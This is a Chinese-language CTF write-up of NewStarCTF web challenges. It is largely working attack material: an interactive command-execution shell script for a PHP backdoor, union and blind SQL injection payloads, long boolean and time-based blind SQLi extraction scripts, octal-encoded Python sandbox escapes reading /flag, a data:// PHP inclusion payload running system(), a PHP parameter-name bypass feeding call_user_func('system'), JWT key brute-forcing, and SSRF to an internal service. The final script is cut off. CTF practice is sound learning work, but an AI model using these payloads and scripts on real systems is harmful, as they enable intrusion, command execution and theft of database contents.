newstarctf-web复现


week1

headach3

题目描述:

1
头疼,帮我治治

开启环境

打开浏览器开发者工具的「网络」(Network)选项卡,刷新网页,点击第一个请求,查看响应头,可以看到 flag

当然也可以抓包

最后flag为

1
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

会赢吗?

题目描述:

1
什么是控制台?js又是什么

开启环境

F12查看网页源码

得到第一部分flag

1
ZmxhZ3tXQTB3

访问/4cqu1siti0n

继续查看网页源码

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

根据控制台的提示,只需要执行

1
revealFlag('4cqu1siti0n')

(className的值为 4cqu1siti0n)即可获得第二关的 flag

得到第二部分flag

1
IV95NF9yM2Fs

访问/s34l

继续查看网页源码

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');

form.addEventListener('submit', async function (event) {
event.preventDefault();


if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}

try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});

if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});

表单提交功能

1
2
3
触发条件:
只有当 stateElement 的文本内容为 "解封" 时,表单提交才会继续执行
否则会显示 "如何是好?" 的提示

在控制台中直接修改 stateElement 的文本内容

1
document.getElementById('state').textContent = '解封';

保存得到

得到第三部分flag

1
MXlfR3I0c1B

访问 /Ap3x

继续查看网页源码

代码

1
2
3
4
5
6
7
8
9
10
11
12
document.querySelector('form').addEventListener('submit', function (event) {
event.preventDefault();
alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
});

(function () {
const originalConsoleLog = console.log;
console.log = function () {
originalConsoleLog.apply(console, arguments);
alert("你觉得你能这么简单地获取到线索?");
};
})();

让gpt写一个获取flag代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// 获取 CSRF 令牌
const csrfToken = document.getElementById('csrf_token').value;

// 尝试 JSON 格式请求
fetch('/api/flag/Ap3x', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: csrfToken })
})
.then(response => {
if (!response.ok) {
// 尝试解析错误响应
return response.text().then(text => {
throw new Error(`服务器返回错误: ${response.status} ${text}`);
});
}
return response.json();
})
.then(data => {
console.log('Flag:', data.flag);
document.getElementById('message').textContent = `Flag: ${data.flag}`;
})
.catch(error => {
console.error('JSON 请求失败:', error);

// 尝试表单编码格式
fetch('/api/flag/Ap3x', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `csrf_token=${encodeURIComponent(csrfToken)}`
})
.then(response => {
if (!response.ok) {
return response.text().then(text => {
throw new Error(`服务器返回错误: ${response.status} ${text}`);
});
}
return response.json();
})
.then(data => {
console.log('Flag:', data.flag);
document.getElementById('message').textContent = `Flag: ${data.flag}`;
})
.catch(error => {
console.error('表单编码请求也失败:', error);
document.getElementById('message').textContent = '获取 Flag 失败,请检查控制台错误信息';
});
});

运行得到

得到第四部分flag

1
fSkpKcyF9

整理得到base编码

1
ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

base解密

最后flag为

1
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

题目描述:

1
我家看门的 robots 有点铸币,怎么会告诉别人后门没有锁呢

开启环境

根据提示直接访问/robots.txt

访问/backd0or.php

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

post 传入两个参数 cmd 和 key,最后会对传入的 cmd 内容进行 base64 解密,然后将解密后的内容传给 system 函数作为参数调用

$hashed_reversed_cmd = md5($reversed_cmd)

先将传入的 cmd 内容进行了倒序然后再进行 md5 加密

decoded_key = base64_decode($key)

对传入的 key 的内容进行 base64 解密

只需保证这两个条件相等即可

构造payload

1
cmd=bHMgLw==&key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=

查看flag

1
cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

也可以写脚本

官方脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64
import hashlib
print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")
def execute_command(cmd):
cmd_encoded = base64.b64encode(cmd.encode()).decode()
cmd_reversed = cmd_encoded[::-1]
hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
payload = {'cmd': cmd_encoded,'key': encoded_key}
response = requests.post(url, data=payload)
return response.text[:-1]
hostname = execute_command("hostname")
username = execute_command("whoami")
while True:
directory = execute_command("pwd")
command = input(f"{username}@{hostname}:{directory}$ ")
output = execute_command(command)
print(output)

运行进入交互界面,输入命令得到flag

最后flag为

1
flag{e841485a-007b-ddd2-60b1-7a08d8bf5090}

谢谢皮蛋

题目描述:

1
让我皮蛋看看 flag 都藏哪了

开启环境

查看网页源码

访问/hint.php

考察sql注入里的联合注入

查看当前数据库

1
0 union select 1,database()#

查看当前数据库所有表名

1
0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查看 Fl4g表所有列名

1
0 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()#

查看值得到 flag

1
0 union select group_concat(des),group_concat(value) from Fl4g#

最后flag为

1
flag{nEwstaR-CtF_20ZA245252ece470}

PangBai 过家家(1)

题目描述:

1
今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。

开启环境

过完开头的剧情,自动跳转到第一关

下面有注释

1
PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。

查看http头部

访问/9fb425fc-90d2-4a86-b822-adff556f7557

下面注释

1
向 PangBai 询问(Query)一下(ask=miao)吧 ~

get传参

1
?ask=miao

post请求

1
say=hello

修改User-Agent为

1
Papa

say 字段改成「玛卡巴卡阿卡哇卡米卡玛卡呣」(不包含引号对 「」),中文需要转义(HackBar 会自动处理中文的转义)。

1
say=玛卡巴卡阿卡哇卡米卡玛卡呣

发包

1
2
3
4
5
6
7
8
9
--abc
Content-Disposition: form-data; name="file"; filename="1.zip"

123
--abc
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

环境断了,重新开了一个

伪造xff

1
X-Real-IP: 127.0.0.1

jwt伪造,进入level0

替换cookie

放行bp,点击从梦中醒来

最后flag为

1
flag{b4d57d3a-c82d-ea8d-6734-6808f6107e47}

week2

你能在一秒内打出八句英文吗

题目描述:

1
CAN YOU TRY

开启环境

点击按钮

随便输入

思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from bs4 import BeautifulSoup

session = requests.Session()

url = "http://192.168.0.115:7968/start"
response = session.get(url)

if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
text_element = soup.find('p', id='text')
if text_element:
value = text_element.get_text()
print(f"{value}")
submit_url = "http://192.168.0.115:7968/submit"
payload = {'user_input': value}
post_response = session.post(submit_url, data=payload)
print(post_response.text)
else:
print(f"{response.status_code}")

运行得到

最后flag为

1
flag{ab71a8f2-d06b-5a47-2011-bdbbd83c8530}

遗失的拉链

题目描述:

1
我的拉链找不到了,你可以帮我找找吗

开启环境

拉链的英文是 zip,这里也是考的 www.zip 泄露

可以看到存在 www.zip 泄露,访问后下载、解压得到源代码

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
// for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
// 欸 为啥 sha1 和 md5 相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

PHP 中使用这些函数处理数组的时候会报错返回 NULL 从而完成绕过

命令执行过滤了 cat,使用 tac 代替。flag被过滤,使用 fla*通配符绕过

最后flag为

1
flag{740cf497-aaff-a102-2bc4-8886af6ed0af}

复读机

题目描述:

1
你知道,人类的本质是……

开启环境

可以看到,输入什么就输出什么

输入aaa

输入

1
{{ 7*7 }}

输出的结果是 49,说明存在 SSTI 注入

风景一把梭

最后flag为

1
flag{2804fb59-6696-5d9a-d068-cce9a380fae2}

PangBai 过家家(2)

题目描述:

1
PangBai 已经成为了我最亲的亲人,我将她反锁在房间内,随后照常去心理医院上班,但回来后却发现我的定居点被泄露了,我谨慎地走进房间,却发现后门开着,近处躺着倒下的 PangBai ——凶手从后门攻击了她,并带走了我的重要资料。我只身前往应战,并托蓬蓬头将 PangBai 送至医院。

开启环境

dirsearch扫描

git泄露

使用 GitHacker 工具从 .git 文件夹中泄露文件到本地

找到后门

1
git stash list

恢复后门文件到工作区

1
git stash pop

发现了后门文件,访问显示

由于 git stash pop已经将文件释放了出来,我们可以直接查看后门的源码

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

# Functions to handle HTML output

function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}

function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'doKcdnEOANVB') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

PHP 中关于非法参数名传参问题

1
$_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024']))

利用%0a,注意%0a不能放在开头

原因:

1
但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符

payload:

1
2
GET传参:NewStar[CTF.2024=Welcome%0a
POST传参:papa=doKcdnEOANVB&func=system&args=env

最后flag为

1
flag{d07f581b-4b67-3eb7-b81d-5860bf38a6a8}

谢谢皮蛋 plus

题目描述:

1
UR!POWERLESS!

开启环境

测试得到双引号闭合,同样地报错注入,过滤了空格,使用/**/绕过:

查询当前数据库

1
-1"/**/union/**/select/**/1,database()#

查询所有表名

1
-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()#

查询所有列名

1
-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'Fl4g'/**/&&/**/table_schema/**/=/**/database()#

查flag

1
-1"/**/union/**/select/**/des,value/**/from/**/Fl4g#

由于环境没修复,最后打不出来fla,这题懂方法即可

week3

Include Me

题目描述:

1
兄弟包一下

开启环境

打开题目 5s 后会自动跳转搜索 PHP 伪协议

要防止跳转,使用 GET 传入 iknow即可

然后使用data协议读取伪协议

1
iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg

最后flag为

1
flag{N3WstaR-CTF-ZO2A2a18536c11} 

blindsql1

题目描述:

1
不给你回显数据,来注入我吧😋

开启环境

能够根据姓名查询成绩

加入单引号时,查询失败,说明存在注入

尝试 Alice’ or 1=1# 注意 # 要 URL 编码成 %23)时,提示空格被禁用了

经过测试,union = /被禁用了

union可以用盲注二分法代替,=用ord和mid还有like代替,空格和斜杠可以用括号代替

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import requests
import time
import sys
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor
from functools import partial
import logging

class SQLInjectionExploiter:
def __init__(self, url_template, success_marker, delay=0.04, max_workers=5):
self.url_template = url_template
self.success_marker = success_marker
self.delay = delay
self.session = requests.Session()
self.max_workers = max_workers
self.logger = self._setup_logger()

def _setup_logger(self):
logger = logging.getLogger('sqli_exploiter')
logger.setLevel(logging.INFO)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')

# 输出到控制台
ch = logging.StreamHandler()
ch.setFormatter(formatter)
logger.addHandler(ch)

# 输出到文件
fh = logging.FileHandler('sqli_exploit.log')
fh.setFormatter(formatter)
logger.addHandler(fh)

return logger

def _get_response(self, payload):
"""发送请求并获取响应,包含重试机制和异常处理"""
max_retries = 3
for attempt in range(max_retries):
try:
response = self.session.get(payload)
response.raise_for_status() # 检查请求是否成功
time.sleep(self.delay) # 控制请求频率
return response.text
except requests.RequestException as e:
self.logger.error(f"Request attempt {attempt+1} failed: {e}")
time.sleep(1) # 重试前等待1秒
self.logger.error(f"Failed after {max_retries} attempts for payload: {payload}")
return ""

def _binary_search_char(self, position, payload_template):
"""使用二分法确定指定位置的字符"""
left, right = 32, 128
while left < right:
mid = (left + right) // 2
payload = self.url_template + quote(payload_template % (position, mid))
html = self._get_response(payload)

if self.success_marker in html:
right = mid
else:
left = mid + 1

char_code = (left + right) // 2
if 32 <= char_code <= 127:
return chr(char_code - 1) # 小于号,值要-1
return None

def extract_data(self, payload_template, max_length=1000):
"""提取数据的主函数,支持多线程加速"""
result = ""
self.logger.info("开始提取数据...")

with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
search_func = partial(self._binary_search_char, payload_template=payload_template)
for i, char in enumerate(executor.map(search_func, range(1, max_length + 1)), 1):
if char is None:
self.logger.info(f"在位置 {i} 处未找到有效字符,可能已提取全部内容")
break
result += char
print(f"\r提取进度: {i} 字符 - 当前结果: {result}", end="")
self.logger.debug(f"位置 {i}: 字符 {char}")

print(f"\nFinal Result: {result}")
self.logger.info(f"提取完成,结果: {result}")
return result

# 使用示例
if __name__ == "__main__":
BASE_URL = "http://192.168.0.115:7960/?student_name="
SUCCESS_MARKER = "Mathematics"

exploiter = SQLInjectionExploiter(
url_template=BASE_URL,
success_marker=SUCCESS_MARKER,
delay=0.04, # 根据目标服务器响应速度调整
max_workers=5 # 线程数,可根据网络情况调整
)

# 选择要执行的注入类型
INJECTION_TYPES = {
1: "获取数据库名",
2: "获取表名",
3: "获取列名",
4: "获取secrets表数据",
5: "获取secrets表数据(倒序)"
}

print("请选择要执行的注入类型:")
for key, value in INJECTION_TYPES.items():
print(f"{key}. {value}")

try:
choice = int(input("输入选项 (1-5): "))
except ValueError:
print("无效输入,默认选择1")
choice = 1

# 根据选择设置不同的payload模板
payload_templates = {
1: "alice'&&(ord(mid(database(),%d,1))<%d)#", # 爆库
2: "alice'&&(ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%d,1))<%d)#", # 爆表
3: "alice'&&(ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('secrets')),%d,1))<%d)#", # 爆列
4: "alice'&&(ord(mid((select(group_concat(id,secret_key,secret_value))from(secrets)),%d,1))<%d)#", # 爆字段
5: "alice'&&(ord(mid((select(reverse(group_concat(id,secret_key,secret_value)))from(secrets)),%d,1))<%d)#" # 爆字段(倒序)
}

payload_template = payload_templates.get(choice, payload_templates[1])
print(f"正在执行: {INJECTION_TYPES.get(choice, '未知类型')}")

result = exploiter.extract_data(payload_template)

# 如果是倒序结果,自动反转
if choice == 5:
print(f"反转后的结果: {result[::-1]}")

运行得到

最后flag为

1
flag{N3w5T4R-ctf-20ZAe064c1f7ea8}

臭皮的计算机

题目描述:

1
豌豆送给了臭皮一个特制计算机,你能帮助臭皮找到豌豆的秘密吗?

开启环境

查看源码

根据提示进入 /calc路由,查看网页源码

发现过滤了所有字母,直接八进制绕过

payload

1
__import__('os').popen('ls /').read()

转八进制

查看根目录

1
\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\40\57\47\51\56\162\145\141\144\50\51

查看flag

1
\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51

最后flag为

1
flag{NEw5Tar-Ctf_2O2A1c329521669d}

臭皮踩踩背

题目描述:

1
老爷爷,为了给你踩背,我一定要从这里逃出去!!!

开启环境

沙箱逃逸

绕过no_builtins

1
().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
1
f.__globals__['__builtins__'].print(f.__globals__['__builtins__'].open('/flag').read())

最后flag为

1
flag{new5T@r-cTf_2O24176d280769ad}

这「照片」是你吗

题目描述:

1
是,那时候我还很瘦。

开启环境

查看网页源码

wappalyzer探测到是flask

根据flask+静态文件很容易想到目录穿越

1
/../app.py

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
'admin': admin_pass,
'amiya': "114514"
}

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

@app.route('/')
def index():
return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response

@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button οnclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp


@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)


if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)

使用用户名和密码登录:amiya 114514

读取flag.py

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
import os
import random

def get_random_number_string(length):
return ''.join([str(random.randint(0, 9)) for _ in range(length)])

get_flag = Flask("get_flag")

FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}")

@get_flag.route("/fl4g")
#如何触发它呢?
def flag():
return FLAG

if __name__ == "__main__":
get_flag.run(host="127.0.0.1",port=5001)

app.py中的secret_key可以知道jwt密钥长度为6位数字

有效值账户amiya 114514,通过发包登录,我们可以获得一个有效的token

爆破 jwt 密钥 key

先生成一个字典

exp:

1
2
3
with open('D:\\tmp\\wordlist.txt', 'w') as f:
for i in range(1000000):
f.write(str(i).rjust(6, '0') + '\n')

jwtcrack爆破

原token

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1peWEiLCJleHAiOjE3NDk1NjE3NTF9.GHRSBw2n_4vo-6z0pGOSzc-LNjUzM6dkUJp1XOWNX1Y

爆破

伪造admin的token

替换token

调 execute 路由代码

1
2
3
4
5
6
7
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}

ssrf利用

只要访问5001下的/f14g就可以获得flag

最后flag为

1
flag{N3wsT@R_CTf-ZO2416dcec29988f}

week4

blindsql2

题目描述:

1
这才是真正的盲注

开启环境

时间盲注

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import requests
import time
import sys
from urllib.parse import quote
import argparse

def get_user_choice():
print("\n请选择要执行的注入类型:")
print("1. 获取数据库名")
print("2. 获取表名")
print("3. 获取列名")
print("4. 获取secrets表数据")
print("5. 获取secrets表数据(倒序)")

while True:
try:
choice = int(input("\n请输入选项(1-5): "))
if 1 <= choice <= 5:
return choice
else:
print("无效选项,请重新输入。")
except ValueError:
print("请输入有效的数字。")

def main():
# 解析命令行参数,只保留URL参数
parser = argparse.ArgumentParser(description='SQL注入时间盲注工具')
parser.add_argument('--url', required=True, help='目标URL前缀')
parser.add_argument('--timeout', type=float, default=0.5, help='判断条件成立的超时时间阈值')
parser.add_argument('--delay', type=float, default=0.2, help='请求间隔时间')
parser.add_argument('--max-length', type=int, default=1000, help='最大字符长度')

args = parser.parse_args()

# 设置请求头,模拟浏览器行为
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Connection': 'keep-alive',
}

# 根据用户选择确定注入类型和相关参数
choice = get_user_choice()

if choice == 1:
print("\n开始获取数据库名...")
payload_template = "1'||if(ord(mid(database(),%d,1))<%d,sleep(%f),1)#"
payload_args = (args.timeout,)
result_name = "数据库名"
reverse_result = False

elif choice == 2:
print("\n开始获取表名...")
payload_template = "1'||if((ord(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%d,1))<%d),sleep(%f),1)#"
payload_args = (args.timeout,)
result_name = "表名"
reverse_result = False

elif choice == 3:
print("\n开始获取secrets表的列名...")
payload_template = "1'||if((ord(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('secrets')),%d,1))<%d),sleep(%f),1)#"
payload_args = (args.timeout,)
result_name = "secrets表的列名"
reverse_result = False

elif choice == 4:
print("\n开始获取secrets表数据...")
payload_template = "1'||if((ord(mid((select(group_concat(secret_value))from(secrets)),%d,1))<%d),sleep(%f),1)#"
payload_args = (args.timeout,)
result_name = "secrets表数据"
reverse_result = False

elif choice == 5:
print("\n开始获取secrets表数据(倒序)...")
payload_template = "1'||if((ord(mid((select(group_concat(secret_value))from(secrets)),%d,1))<%d),sleep(%f),1)#"
payload_args = (args.timeout,)
result_name = "secrets表数据(倒序)"
reverse_result = True

result = ""
session = requests.Session() # 使用会话保持连接

for i in range(1, args.max_length + 1):
print(f"正在提取第 {i} 个字符...", end="\r")

left = 32 # 可打印ASCII字符的起始值
right = 127 # 可打印ASCII字符的结束值
mid = (left + right) // 2

while left < right:
# 构造完整的payload
payload = payload_template % (i, mid, *payload_args)
full_url = args.url + quote(payload)

try:
start_time = time.time()
response = session.get(full_url, headers=headers, timeout=5)
end_time = time.time()

elapsed = end_time - start_time

# 短暂延迟避免请求过快
time.sleep(args.delay)

# 判断条件是否成立
if elapsed > args.timeout:
right = mid
else:
left = mid + 1

mid = (left + right) // 2

except requests.RequestException as e:
print(f"\n请求错误: {e}")
time.sleep(1) # 出错后等待更长时间
continue

# 检查是否已经到达结果末尾
if mid <= 32 or mid >= 127:
print(f"\n已完成注入,共提取 {len(result)} 个字符")
break

# 小于号条件下,实际字符是mid-1
char = chr(mid - 1)
result += char

# 每10个字符显示一次当前结果
if i % 10 == 0:
